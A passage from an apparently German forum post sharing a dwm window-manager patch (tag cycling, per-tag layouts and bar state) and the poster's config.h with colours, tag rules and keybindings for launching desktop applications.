+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
 &nbsp;&nbsp;&nbsp;&nbsp;updatebars();<br />
 &nbsp;&nbsp;&nbsp;&nbsp;updatestatus();<br />
 &nbsp;&nbsp;&nbsp;&nbsp;/* EWMH support per view */<br />
@@ -1571,6 +1741,42 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;grabkeys();<br />
 }<br />
 <br />
+int<br />
+shifttag(int dist)<br />
+{<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int i, curtags;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;int seltag = 0;<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;curtags = selmon-&gt;tagset[selmon-&gt;seltags&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;for(i = 0; i &lt; LENGTH(tags); i++) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((curtags &amp; (1 &lt;&lt; i)) != 0) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;seltag = i;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;seltag = (seltag + dist) % LENGTH(tags);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(seltag &lt; 0)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;seltag += LENGTH(tags);<br />
+<br />
+&nbsp;&nbsp;&nbsp;&nbsp;return 1 &lt;&lt; seltag;<br />
+}<br />
+<br />
+void<br />
+cycle(const Arg *arg)<br />
+{<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Arg a = { .i = shifttag(arg-&gt;i) };<br />
+&nbsp;&nbsp;&nbsp;&nbsp;view(&amp;a);<br />
+}<br />
+<br />
+void<br />
+tagcycle(const Arg *arg)<br />
+{<br />
+&nbsp;&nbsp;&nbsp;&nbsp;Arg a = { .i = shifttag(arg-&gt;i) };<br />
+&nbsp;&nbsp;&nbsp;&nbsp;tag(&amp;a);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;view(&amp;a);<br />
+}<br />
+<br />
 void<br />
 showhide(Client *c) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(!c)<br />
@@ -1666,7 +1872,7 @@<br />
 <br />
 void<br />
 togglebar(const Arg *arg) {<br />
-&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;showbar = !selmon-&gt;showbar;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;showbar = selmon-&gt;showbars[selmon-&gt;curtag&#93; = !selmon-&gt;showbar;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;updatebarpos(selmon);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;XMoveResizeWindow(dpy, selmon-&gt;barwin, selmon-&gt;wx, selmon-&gt;by, selmon-&gt;ww, bh);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
@@ -1686,12 +1892,27 @@<br />
 void<br />
 toggletag(const Arg *arg) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;unsigned int newtags;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned int i;<br />
 <br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(!selmon-&gt;sel)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;newtags = selmon-&gt;sel-&gt;tags ^ (arg-&gt;ui &amp; TAGMASK);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(newtags) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;sel-&gt;tags = newtags;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(newtags == ~0) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;prevtag = selmon-&gt;curtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;curtag = 0;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!(newtags &amp; 1 &lt;&lt; (selmon-&gt;curtag - 1))) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;prevtag = selmon-&gt;curtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (i=0; !(newtags &amp; 1 &lt;&lt; i); i++);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;curtag = i + 1;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;sel-&gt;tags = newtags;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;lt[selmon-&gt;sellt&#93; = selmon-&gt;lts[selmon-&gt;curtag&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;mfact = selmon-&gt;mfacts[selmon-&gt;curtag&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (selmon-&gt;showbar != selmon-&gt;showbars[selmon-&gt;curtag&#93;)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;togglebar(NULL);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;}<br />
 }<br />
@@ -1711,7 +1932,7 @@<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(!c)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;grabbuttons(c, False);<br />
-&nbsp;&nbsp;&nbsp;&nbsp;XSetWindowBorder(dpy, c-&gt;win, dc.norm[ColBorder&#93;);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;XSetWindowBorder(dpy, c-&gt;win, dc.colors[0&#93;[ColBorder&#93;);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if(setfocus)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XSetInputFocus(dpy, root, RevertToPointerRoot, CurrentTime);<br />
 }<br />
@@ -1959,11 +2180,29 @@<br />
 <br />
 void<br />
 view(const Arg *arg) {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned int i;<br />
+<br />
 &nbsp;&nbsp;&nbsp;&nbsp;if((arg-&gt;ui &amp; TAGMASK) == selmon-&gt;tagset[selmon-&gt;seltags&#93;)<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br />
 &nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;seltags ^= 1; /* toggle sel tagset */<br />
-&nbsp;&nbsp;&nbsp;&nbsp;if(arg-&gt;ui &amp; TAGMASK)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(arg-&gt;ui &amp; TAGMASK) {<br />
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;tagset[selmon-&gt;seltags&#93; = arg-&gt;ui &amp; TAGMASK;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;prevtag = selmon-&gt;curtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(arg-&gt;ui == ~0)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;curtag = 0;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for (i=0; !(arg-&gt;ui &amp; 1 &lt;&lt; i); i++);<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;curtag = i + 1;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;} else {<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;prevtag= selmon-&gt;curtag ^ selmon-&gt;prevtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;curtag^= selmon-&gt;prevtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;prevtag= selmon-&gt;curtag ^ selmon-&gt;prevtag;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;}<br />
+&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;lt[selmon-&gt;sellt&#93;= selmon-&gt;lts[selmon-&gt;curtag&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;selmon-&gt;mfact = selmon-&gt;mfacts[selmon-&gt;curtag&#93;;<br />
+&nbsp;&nbsp;&nbsp;&nbsp;if(selmon-&gt;showbar != selmon-&gt;showbars[selmon-&gt;curtag&#93;)<br />
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;togglebar(NULL);<br />
 &nbsp;&nbsp;&nbsp;&nbsp;arrange(selmon);<br />
 }</code></div></div>
<br />
config.h (kein patch)<br />
<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>/* See LICENSE file for copyright and license details. */<br />
<br />
/* appearance */<br />
static const char font[&#93;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= "-*-terminus-medium-r-*-*-16-*-*-*-*-*-*-*";<br />
static const char normbordercolor[&#93; = "#d4d4d4";<br />
static const char normbgcolor[&#93;&nbsp;&nbsp;&nbsp;&nbsp; = "#d4d4d4";<br />
static const char normfgcolor[&#93;&nbsp;&nbsp;&nbsp;&nbsp; = "#000000";<br />
static const char selbordercolor[&#93;&nbsp;&nbsp;= "#1751FF";<br />
static const char selbgcolor[&#93;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= "#5a5a5a";<br />
static const char selfgcolor[&#93;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= "#ffffff";<br />
static const unsigned int borderpx&nbsp;&nbsp;= 1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* border pixel of windows */<br />
static const unsigned int snap&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 32;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* snap pixel */<br />
static const unsigned int gappx&nbsp;&nbsp;&nbsp;&nbsp; = 0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* pixel gap between clients */<br />
static const Bool showbar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = True;&nbsp;&nbsp;&nbsp;&nbsp; /* False means no bar */<br />
static const Bool topbar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= True;&nbsp;&nbsp;&nbsp;&nbsp; /* False means bottom bar */<br />
static const Bool focusonclick&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= True;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* change focus only on click */<br />
<br />
#define NUMCOLORS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4<br />
static const char colors[NUMCOLORS&#93;[ColLast&#93;[8&#93; = {<br />
&nbsp;&nbsp;// border&nbsp;&nbsp; foreground background<br />
&nbsp;&nbsp;{ "#d4d4d4", "#000000", "#d4d4d4" },&nbsp;&nbsp;// normal<br />
&nbsp;&nbsp;{ "#1751FF", "#ffffff", "#5a5a5a" },&nbsp;&nbsp;// selected<br />
&nbsp;&nbsp;{ "#ff0000", "#000000", "#ffff00" },&nbsp;&nbsp;// urgent/warning&nbsp;&nbsp;(black on yellow)<br />
&nbsp;&nbsp;{ "#ff0000", "#ffffff", "#ff0000" },&nbsp;&nbsp;// error (white on red)<br />
&nbsp;&nbsp;// add more here<br />
};<br />
<br />
<br />
/* tagging */<br />
static const char *tags[&#93; = { "1:terminals", "2:code", "3:www", "4:IRC", "5:chat", "6:media", "7:office", "8" };<br />
static const int initlayouts[&#93;&nbsp;&nbsp;= { 0, 0, 0, 0, 0, 1, 0, 1 };<br />
<br />
static const Rule rules[&#93; = {<br />
&nbsp;&nbsp;&nbsp;&nbsp;/* class&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;instance&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;title&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tags mask&nbsp;&nbsp; isfloating&nbsp;&nbsp;monitor */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Namoroka",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 &lt;&lt; 2,&nbsp;&nbsp;&nbsp;&nbsp; False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 }, /* Firefox */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "OpenOffice.org 3.2", NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 &lt;&lt; 6,&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Mplayer",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 &lt;&lt; 5,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;True,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "URxvt",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"irssi",&nbsp;&nbsp;&nbsp;&nbsp;1 &lt;&lt; 3,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "URxvt",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "pms",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 &lt;&lt; 5,&nbsp;&nbsp;&nbsp;&nbsp; False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Eclipse",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 &lt;&lt; 1,&nbsp;&nbsp;&nbsp;&nbsp; False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Lanikai",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 &lt;&lt; 4,&nbsp;&nbsp;&nbsp;&nbsp; False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 }, /* Thunderbird */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "VirtualBox",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 &lt;&lt; 7,&nbsp;&nbsp;&nbsp;&nbsp; True,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Pidgin",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 &lt;&lt; 4,&nbsp;&nbsp;&nbsp;&nbsp; False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Wine",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 &lt;&lt; 7,&nbsp;&nbsp;&nbsp;&nbsp; True,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -1 },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "Xpdf",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 &lt;&lt; 6,&nbsp;&nbsp;&nbsp;&nbsp; False,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-1 },<br />
};<br />
<br />
/* layout(s) */<br />
static const float mfact&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 0.60; /* factor of master area size [0.05..0.95&#93; */<br />
static const Bool resizehints = False; /* True means respect size hints in tiled resizals */<br />
<br />
/* additional layouts */<br />
/*#include "bstack.c"<br />
#include "bstackhoriz.c"<br />
#include "push.c"<br />
#include "gaplessgrid.c"<br />
#include "cycle.c"*/<br />
<br />
static const Layout layouts[&#93; = {<br />
&nbsp;&nbsp;&nbsp;&nbsp;/* symbol&nbsp;&nbsp;&nbsp;&nbsp; arrange function */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "TTT",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bstack },&nbsp;&nbsp;&nbsp;&nbsp;/* first entry is default */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "[&#93;=",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tile },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "&gt;&lt;&gt;",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL },&nbsp;&nbsp;&nbsp;&nbsp;/* no layout function means floating behavior */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "[M&#93;",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;monocle },<br />
/*&nbsp;&nbsp;&nbsp;&nbsp;{ "===",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bstackhoriz },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ "###",&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gaplessgrid },*/<br />
};<br />
<br />
/* key definitions */<br />
#define MODKEY Mod1Mask<br />
#define TAGKEYS(KEY,TAG) &#92;n&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; KEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;view,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {.ui = 1 &lt;&lt; TAG} }, &#92;n&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ControlMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; KEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;toggleview,&nbsp;&nbsp;&nbsp;&nbsp; {.ui = 1 &lt;&lt; TAG} }, &#92;n&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; KEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tag,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.ui = 1 &lt;&lt; TAG} }, &#92;n&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ControlMask|ShiftMask, KEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;toggletag,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.ui = 1 &lt;&lt; TAG} },<br />
<br />
/* helper for spawning shell commands in the pre dwm-5.0 fashion */<br />
#define SHCMD(cmd) { .v = (const char*[&#93;){ "/bin/sh", "-c", cmd, NULL } }<br />
<br />
/* commands */<br />
static const char *dmenucmd[&#93; = { "dmenu_run", "-fn", font, "-nb", normbgcolor, "-nf", normfgcolor, "-sb", selbgcolor, "-sf", selfgcolor, NULL };<br />
static const char *termcmd[&#93;&nbsp;&nbsp;= { "urxvt", NULL };<br />
static const char *browsercmd[&#93; = { "firefox", NULL };<br />
static const char *writercmd[&#93; = { "soffice", "-writer", NULL };<br />
static const char *irccmd[&#93; =&nbsp;&nbsp;{ "python", "/home/dav1d/scripts/startirssi.py", NULL };<br />
static const char *mailcmd[&#93; = { "thunderbird", NULL };<br />
static const char *idecmd[&#93; = { "eclipse", NULL };<br />
static const char *vboxcmd[&#93; = { "VirtualBox", NULL };<br />
static const char *imcmd[&#93; = { "pidgin", NULL };<br />
static const char *pycrust[&#93; = { "pycrust", NULL };<br />
static const char *pmscmd[&#93; = { "urxvt", "-title", "pms", "-e", "pms", NULL };<br />
static const char *killx[&#93; = { "killall", "X", "&amp;", "killall", "dwm" };<br />
<br />
static Key keys[&#93; = {<br />
&nbsp;&nbsp;&nbsp;&nbsp;/* modifier&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; key&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; function&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; argument */<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_p,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = dmenucmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_Return , spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = termcmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_f,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = browsercmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_w,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spawn,&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = writercmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;XK_i,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;spawn,&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = irccmd } },<br />
&nbsp;&nbsp;&nbsp;&nbsp;{ MODKEY|ShiftMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; XK_t,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spawn,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{.v = mailcmd } },<br />
